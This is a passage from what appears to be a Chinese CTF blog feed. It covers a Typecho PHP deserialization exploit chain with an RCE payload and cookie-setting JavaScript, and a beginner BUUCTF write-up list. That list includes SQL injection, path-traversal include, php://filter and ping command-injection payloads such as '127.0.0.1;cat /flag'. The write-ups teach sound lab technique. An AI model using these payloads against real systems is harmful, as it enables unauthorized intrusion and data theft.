&lt;h2&gt;2. CSRF 检查绕过&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;install.php&lt;/code&gt; 第63-76行有 Referer 检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!empty($_GET) || !empty($_POST)) {
    if (empty($_SERVER[&apos;HTTP_REFERER&apos;])) { exit; }
    // 检查 Referer host 是否匹配 HTTP_HOST
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;绕过方式&lt;/strong&gt;：由于是从 &lt;code&gt;install.php&lt;/code&gt; 同页面发起 &lt;code&gt;fetch()&lt;/code&gt; 请求，浏览器会自动携带正确的 &lt;code&gt;Referer&lt;/code&gt; 头，无需额外处理。&lt;/p&gt;
&lt;h2&gt;3. Cookie 编码注意事项&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;Typecho_Cookie::set()&lt;/code&gt; 使用 &lt;code&gt;rawurlencode()&lt;/code&gt; 编码 Cookie 值：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;setrawcookie($key, rawurlencode($value), $expire, self::$_path);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而 PHP 的 &lt;code&gt;$_COOKIE&lt;/code&gt; 超全局数组会自动 URL-decode Cookie 值。因此：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;base64 中的 &lt;code&gt;+&lt;/code&gt; 号会被 URL-decode 成&lt;strong&gt;空格&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;需要在 JavaScript 中使用 &lt;code&gt;encodeURIComponent()&lt;/code&gt; 对 Cookie 值编码（&lt;code&gt;+&lt;/code&gt; → &lt;code&gt;%2B&lt;/code&gt;），确保 PHP 解码后 base64 正确还原&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. Gadget Chain（利用链）&lt;/h2&gt;
&lt;p&gt;完整的反序列化利用链如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;unserialize(base64_decode($_COOKIE[&apos;__typecho_config&apos;]))
    ↓
得到数组: [&apos;adapter&apos; =&amp;gt; Typecho_Feed对象, &apos;prefix&apos; =&amp;gt; &apos;typecho_&apos;]
    ↓
explode(&apos;_&apos;, $config[&apos;adapter&apos;])
    ↓ 对象转字符串触发 __toString()
Typecho_Feed::__toString()
    ↓ RSS2 分支第291行: $item[&apos;author&apos;]-&amp;gt;screenName
Typecho_Request::__get(&apos;screenName&apos;)
    → get(&apos;screenName&apos;)
    → _applyFilter($command_string)
    ↓
call_user_func($filter, $command_string)
    ↓ 如 $filter=&apos;system&apos;, $command_string=&apos;cat /flag&apos;
system(&apos;cat /flag&apos;) → RCE！
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细步骤：&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt; — 反序列化后得到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[&apos;adapter&apos; =&amp;gt; Typecho_Feed对象, &apos;prefix&apos; =&amp;gt; &apos;typecho_&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt; — &lt;code&gt;install.php:284&lt;/code&gt; 调用 &lt;code&gt;explode(&apos;_&apos;, $config[&apos;adapter&apos;])&lt;/code&gt;：
&lt;code&gt;$config[&apos;adapter&apos;]&lt;/code&gt; 是 &lt;code&gt;Typecho_Feed&lt;/code&gt; 对象，&lt;code&gt;explode()&lt;/code&gt; 第二个参数要求字符串，PHP 自动调用 &lt;code&gt;__toString()&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt; — &lt;code&gt;Typecho_Feed::__toString()&lt;/code&gt; 在 RSS 2.0 分支中（第291行）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 题目作者添加的提示注释
// 给师傅们减轻负担QAQ，要加上$item[&apos;category&apos;] = array(new Typecho_Request());
// 和$this-&amp;gt;_type防止500
$content .= &apos;&amp;lt;dc:creator&amp;gt;&apos; . htmlspecialchars($item[&apos;author&apos;]-&amp;gt;screenName) . &apos;&amp;lt;/dc:creator&amp;gt;&apos; . self::EOL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;$item[&apos;author&apos;]-&amp;gt;screenName&lt;/code&gt;，由于 &lt;code&gt;$item[&apos;author&apos;]&lt;/code&gt; 是 &lt;code&gt;Typecho_Request&lt;/code&gt; 对象，触发 &lt;code&gt;__get(&apos;screenName&apos;)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt; — &lt;code&gt;Typecho_Request::get(&apos;screenName&apos;)&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function get($key, $default = NULL) {
    $value = $this-&amp;gt;_params[$key];  // 取出我们的命令字符串
    return $this-&amp;gt;_applyFilter($value);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 5&lt;/strong&gt; — &lt;code&gt;Typecho_Request::_applyFilter()&lt;/code&gt;（第159-171行）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private function _applyFilter($value) {
    if ($this-&amp;gt;_filter) {
        foreach ($this-&amp;gt;_filter as $filter) {
            $value = call_user_func($filter, $value);
        }
    }
    return $value;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当 &lt;code&gt;$filter = &apos;system&apos;&lt;/code&gt;，&lt;code&gt;$value = &apos;cat /flag&apos;&lt;/code&gt; 时，执行 &lt;code&gt;call_user_func(&apos;system&apos;, &apos;cat /flag&apos;)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 6&lt;/strong&gt; — &lt;code&gt;system(&apos;cat /flag&apos;)&lt;/code&gt; 执行系统命令，Flag 输出到 HTTP 响应中！&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;漏洞利用&lt;/h1&gt;
&lt;h2&gt;Payload 结构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;payload = {
    &apos;adapter&apos;: Typecho_Feed(
        _type=&apos;RSS 2.0&apos;,
        _items=[{
            &apos;author&apos;: Typecho_Request(
                _filter=[&apos;system&apos;],         # ← 被 call_user_func 调用的函数
                _params={&apos;screenName&apos;: &apos;cat /flag&apos;},  # ← 传递给 system 的参数
            ),
            &apos;title&apos;: &apos;test&apos;,
            &apos;link&apos;: &apos;http://example.com&apos;,
            &apos;date&apos;: 1234567890,
        }]
    ),
    &apos;prefix&apos;: &apos;typecho_&apos;,
}
# serialized → base64 → set as Cookie
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;利用步骤&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;生成 Payload&lt;/strong&gt;：使用 Python 脚本 &lt;code&gt;exploit.py&lt;/code&gt; 构造 PHP 序列化 Payload，base64 编码后写入 Cookie&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绕过 CSRF&lt;/strong&gt;：在目标 &lt;code&gt;install.php&lt;/code&gt; 页面通过浏览器 Console 执行 JavaScript 的 &lt;code&gt;fetch()&lt;/code&gt;，同源请求自动携带 Referer&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;触发反序列化&lt;/strong&gt;：设置 Cookie 为恶意 Payload 后，请求 &lt;code&gt;install.php?start&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;获取 Flag&lt;/strong&gt;：&lt;code&gt;system(&apos;cat /flag&apos;)&lt;/code&gt; 在服务器上执行，输出出现在 HTTP 响应正文中&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;浏览器 Console 执行&lt;/h2&gt;
&lt;p&gt;最终使用的 JavaScript 代码（已写入 &lt;code&gt;exploit_system.js&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var p = &quot;YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVj...&quot;;  // base64 payload
document.cookie = &quot;__typecho_config=&quot; + encodeURIComponent(p) + &quot;;path=/&quot;;
fetch(&quot;install.php?start&quot;, {credentials: &quot;include&quot;})
  .then(r =&amp;gt; r.text())
  .then(t =&amp;gt; console.log(t));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;利用结果&lt;/h2&gt;
&lt;p&gt;服务器返回的 HTTP 响应中直接包含 Flag：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NSSCTF{7142be72-772e-4691-9c42-972da71e605a}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;关键问题与解决&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;问题&lt;/th&gt;
&lt;th&gt;原因&lt;/th&gt;
&lt;th&gt;解决方案&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cookie 值被破坏&lt;/td&gt;
&lt;td&gt;base64 中的 &lt;code&gt;+&lt;/code&gt; 经 PHP &lt;code&gt;$_COOKIE&lt;/code&gt; URL-decode 后变成空格&lt;/td&gt;
&lt;td&gt;使用 &lt;code&gt;encodeURIComponent()&lt;/code&gt; 编码 Cookie 值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;assert()&lt;/code&gt; 执行失败（500）&lt;/td&gt;
&lt;td&gt;PHP 7.2+ 中 &lt;code&gt;assert()&lt;/code&gt; 字符串求值被废弃/禁用&lt;/td&gt;
&lt;td&gt;改用 &lt;code&gt;system&lt;/code&gt; 作为 filter 直接执行命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;输出截断看不清&lt;/td&gt;
&lt;td&gt;Console 默认折叠长输出&lt;/td&gt;
&lt;td&gt;展开折叠区域，或搜索 &quot;flag&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;这是一个PHP反序列化漏洞的综合利用，涉及以下考点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;PHP 反序列化基础&lt;/strong&gt;：&lt;code&gt;unserialize()&lt;/code&gt; 处理不可信数据导致的安全风险&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gadget Chain 构造&lt;/strong&gt;：利用 &lt;code&gt;__toString()&lt;/code&gt; → &lt;code&gt;__get()&lt;/code&gt; → &lt;code&gt;call_user_func()&lt;/code&gt; 魔术方法链&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类自动加载机制&lt;/strong&gt;：PHP unserialize 时通过 &lt;code&gt;spl_autoload_register&lt;/code&gt; 自动加载未定义的类&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cookie 编码问题&lt;/strong&gt;：PHP &lt;code&gt;$_COOKIE&lt;/code&gt; 的 URL-decode 特性对 Payload 的影响及修复&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 配置差异&lt;/strong&gt;：&lt;code&gt;assert()&lt;/code&gt; 在不同 PHP 版本中的行为差异，使用 &lt;code&gt;system()&lt;/code&gt; 作为备选&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>BUUCTF新手村题单</title><link>https://clairis.cn/posts/17buuctf/</link><guid isPermaLink="true">https://clairis.cn/posts/17buuctf/</guid><pubDate>Fri, 17 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Misc&lt;/h1&gt;
&lt;h2&gt;01金三胖&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=1b398a3e-2f59-4034-bf03-8c404e28d793&quot;&gt;CTF²&lt;/a&gt;
下载附件得到一份GIF文件，打开GIF文件看到中间会闪过疑似flag，于是分离GIF&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install imagemagick
convert aaa.gif frame_%03d.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-001.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;img-002.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;img-003.png&quot; alt=&quot;&quot; /&gt;
得到flag&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;02二维码&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=7a44e5a1-beea-4663-9b23-ebe1baf38765&quot;&gt;CTF²&lt;/a&gt;
先用QRCode扫码得到
&lt;img src=&quot;img-004.png&quot; alt=&quot;&quot; /&gt;
直接扫描并没有得到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; strings QR_code.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-005.png&quot; alt=&quot;&quot; /&gt;
于是binwalk提取得到&lt;code&gt;1D7&lt;/code&gt;压缩包，尝试解压但是需要密码
&lt;img src=&quot;img-006.png&quot; alt=&quot;&quot; /&gt;
压缩包中的文件为&lt;code&gt;4number.txt&lt;/code&gt;，所以密码很可能是4位纯数字，用fcrackzip爆破&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fcrackzip -b -c 1 -l 4-4 -u 1D7.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-007.png&quot; alt=&quot;&quot; /&gt;
接下来继续解压缩得到txt文件，进而得到flag
&lt;img src=&quot;img-008.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;03N种方法解决&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=b797fb16-93d2-48c1-b624-9b0f21505f9d&quot;&gt;CTF²&lt;/a&gt;
先检查文件类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file KEY.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到结果说明它实际上是txt文本文件
接下来查看文件头&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;head -c 100 KEY.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-009.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;文件类型：jpg图片  +   Base64编码的图片数据&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;sed &apos;s/^data:image\/[^;]*;base64,//&apos; KEY.exe | base64 -d &amp;gt; key.png
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;解码得出一张二维码
但原二维码比较小且缺乏足够的白色边缘，需要放大并添加白边&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;agick key.png -filter point -resize 800% \
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再用扫码工具扫码
&lt;img src=&quot;img-010.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;04大白&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=c99d060f-ba8b-4803-a23e-52b4b8a34b68&quot;&gt;CTF²&lt;/a&gt;
打开图片发现只有上半截，于是修改宽高
&lt;img src=&quot;img-011.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;05你竟然赶我走&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=84589c09-0bc0-4076-89cd-fa742175eece&quot;&gt;CTF²&lt;/a&gt;
从文件中提取能直接显示的可读字符串&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings biubiu.jpg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在输出中直接看到flag&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Web&lt;/h1&gt;
&lt;h2&gt;06[极客大挑战 2019]Havefun&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=cb1461de-6e25-4bee-b0d4-12bc6106cb47&quot;&gt;CTF²&lt;/a&gt;
&lt;img src=&quot;img-012.png&quot; alt=&quot;&quot; /&gt;
网页会读取URL中名为&lt;code&gt;cat&lt;/code&gt;的参数，当参数值等于dog时输出flag
于是在URL后面加上&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?cat=dog
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-013.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;07[极客大挑战 2019]EasySQL&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=d4109092-2acc-4f56-a9c6-d75c230d501b&quot;&gt;CTF²&lt;/a&gt;
打开题目后看到一个登陆页面，需要输入用户名和密码。
先随便输入，发现URL有变化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[check](https://91a88c5879123e7a80f3577f.http-ctf2.dasctf.com/check.php?username=1&amp;amp;password=1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以这道题目是直接将用户输入的用户名和密码直接拼接到SQL查询语句中，例如&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users WHERE username=&apos;$username&apos; AND password=&apos;$password&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在用户名中输入单引号
&lt;img src=&quot;img-014.png&quot; alt=&quot;&quot; /&gt;
页面出现SQL语法错误，说明输入的单引号被拼接进了SQL语句，因此存在SQL注入漏洞&lt;/p&gt;
&lt;h3&gt;构造Payload&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;img-015.png&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;img-016.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;原理分析&lt;/h3&gt;
&lt;p&gt;将输入内容带入后，SQL语句变成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;SELECT * FROM users
WHERE username=&apos;admin&apos; or 1=1#&apos;
AND password=&apos;1&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用于提前闭合用户名外面的单引号&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;or 1=1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;加入一个永远成立的条件，因为&lt;code&gt;1=1&lt;/code&gt;始终为真&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将后面的密码判断和多余的单引号全部注释掉&lt;/p&gt;
&lt;p&gt;所以将判断条件变成&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;用户名是adimin或者1等于1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以登陆成功，显示flag&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;08[HCTF 2018]WarmUp&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=0b1c4df1-92df-4818-b564-76bda414acfd&quot;&gt;CTF²&lt;/a&gt;
查看源码，看到有文件&lt;code&gt;source.php&lt;/code&gt;
&lt;img src=&quot;img-017.png&quot; alt=&quot;&quot; /&gt;
于是访问source.php
&lt;img src=&quot;img-018.png&quot; alt=&quot;&quot; /&gt;
代码中存在白名单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$whitelist = [
    &quot;source&quot; =&amp;gt; &quot;source.php&quot;,
    &quot;hint&quot; =&amp;gt; &quot;hint.php&quot;
];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明程序允许访问&lt;code&gt;source.php&lt;/code&gt;与&lt;code&gt;hint.php&lt;/code&gt;
程序会接受&lt;code&gt;file&lt;/code&gt;参数，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$_REQUEST[&apos;file&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过检查后执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;include $_REQUEST[&apos;file&apos;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是将用户传入的文件夹包含进来，于是访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/index.php?file=hint.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-019.png&quot; alt=&quot;&quot; /&gt;
尝试直接访问
&lt;img src=&quot;img-020.png&quot; alt=&quot;&quot; /&gt;
因为ffffllllaaaagggg不在白名单中，所以无法访问
分析白名单检查漏洞&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$_page = mb_substr(
    $page,
    0,
    mb_strpos($page . &apos;?&apos;, &apos;?&apos;)
);

if (in_array($_page, $whitelist)) {
    return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码会取出传入内容中第一个 &lt;code&gt;?&lt;/code&gt; 前面的部分，然后判断它是否在白名单中。
于是构造payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/index.php?file=hint.php?/../../../../../../ffffllllaaaagggg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序检查时读取?前面的hint.php，读取通过
后面的&lt;code&gt;/../../../../../../&lt;/code&gt;返回上级目录，最后读取&lt;code&gt;ffffllllaaaagggg&lt;/code&gt;文件
&lt;img src=&quot;img-021.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;09[ACTF2020 新生赛]Include&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=e5d73d5f-5971-46ad-8816-3aea17085aa3&quot;&gt;CTF²&lt;/a&gt;
打开靶机地址，看到有个&lt;code&gt;tips&lt;/code&gt;，点击进去
&lt;img src=&quot;img-022.png&quot; alt=&quot;&quot; /&gt;
地址栏中看到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?file=flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;说明网页读取了一个file的参数，并用它加载文件&lt;/p&gt;
&lt;p&gt;因为服务器会把&lt;code&gt;flag.php&lt;/code&gt;当作程序执行，并不会显示源代码，但flag可能藏在注释中，所以直接访问并不会显示flag&lt;/p&gt;
&lt;h3&gt;使用 &lt;code&gt;php://filter&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;将file后面的内容修改为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-023.png&quot; alt=&quot;&quot; /&gt;
将显示出来的字符用Base64解密
&lt;img src=&quot;img-024.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Payload含义&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;php://filter
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;表示使用PHP过滤协议&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;read=convert.base64-encode
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读取文件时将内容转换为Base64&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;resource=flag.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读取的目标文件是flag.php&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;10 [ACTF2020 新生赛]Exec&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=8bd37082-8e80-4ad3-a8d5-6a2a54b2450b&quot;&gt;CTF²&lt;/a&gt;
打开靶机地址看到一个要求输入IP地址的画面，先输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-025.png&quot; alt=&quot;&quot; /&gt;
这一步确认网页确实在调用ping
在输入框中输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1;ls
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-026.png&quot; alt=&quot;&quot; /&gt;
查看根目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1;ls /
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-027.png&quot; alt=&quot;&quot; /&gt;
于是读取flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;127.0.0.1;cat /flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;出现了flag&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;Reverse&lt;/h1&gt;
&lt;h2&gt;11easyre&lt;/h2&gt;
&lt;p&gt;先检查文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file easyre.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-028.png&quot; alt=&quot;&quot; /&gt;
说明是一个Windows可执行程序
检查可读字符串&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings easyre.php | grep -i flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;img-029.png&quot; alt=&quot;&quot; /&gt;
找到了flag&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;12reverse1&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=3b44664c-8545-4674-8cb8-384e304e8140&quot;&gt;CTF²&lt;/a&gt;
判断文件类型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;file reverse_1.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果显示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PE32+ executable
x86-64
Windows console
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是一个&lt;strong&gt;64位Windows控制台程序&lt;/strong&gt;，看起来没有加壳，并且保留了调试信息
查看可疑字符串&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;strings reverse_1.exe | grep -Ei &quot;flag|input|right|wrong&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出中并没有直接出线最终flag，所以要继续查看程序的判断逻辑
用&lt;strong&gt;IDA&lt;/strong&gt;打开程序
&lt;img src=&quot;img-030.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;img-031.png&quot; alt=&quot;&quot; /&gt;
双击main_0，进去后点击F5
&lt;img src=&quot;img-032.png&quot; alt=&quot;&quot; /&gt;
看程序，程序会把字符串中的所有字母&lt;code&gt;o&lt;/code&gt;替换成数字&lt;code&gt;0&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{hello_world}
    ↓
{hell0_w0rld}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;程序随后读取输入并比较字符串
所以正确输入为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{hell0_w0rld}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以flag：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{hell0_w0rld}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;13reverse2&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges&amp;amp;challenge=029842cc-7e49-4df7-9286-febb12be529f&quot;&gt;CTF²&lt;/a&gt;
检查文件
&lt;img src=&quot;img-033.png&quot; alt=&quot;&quot; /&gt;
Linux的ELF文件
&lt;img src=&quot;img-034.png&quot; alt=&quot;&quot; /&gt;
先试这个，但显然不对
&lt;img src=&quot;img-035.png&quot; alt=&quot;&quot; /&gt;
子进程中
&lt;img src=&quot;img-036.png&quot; alt=&quot;&quot; /&gt;
将&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;i → 1
r → 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以子进程修改后的flag是&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{hack1ng_fo1_fun}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在Kali中进行验证
&lt;img src=&quot;img-037.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;最终提交&lt;/h3&gt;
&lt;p&gt;这类题通常提交子进程变换后的结果&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{hack1ng_fo1_fun}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;Crypto&lt;/h1&gt;
&lt;h2&gt;14看我回旋踢&lt;/h2&gt;
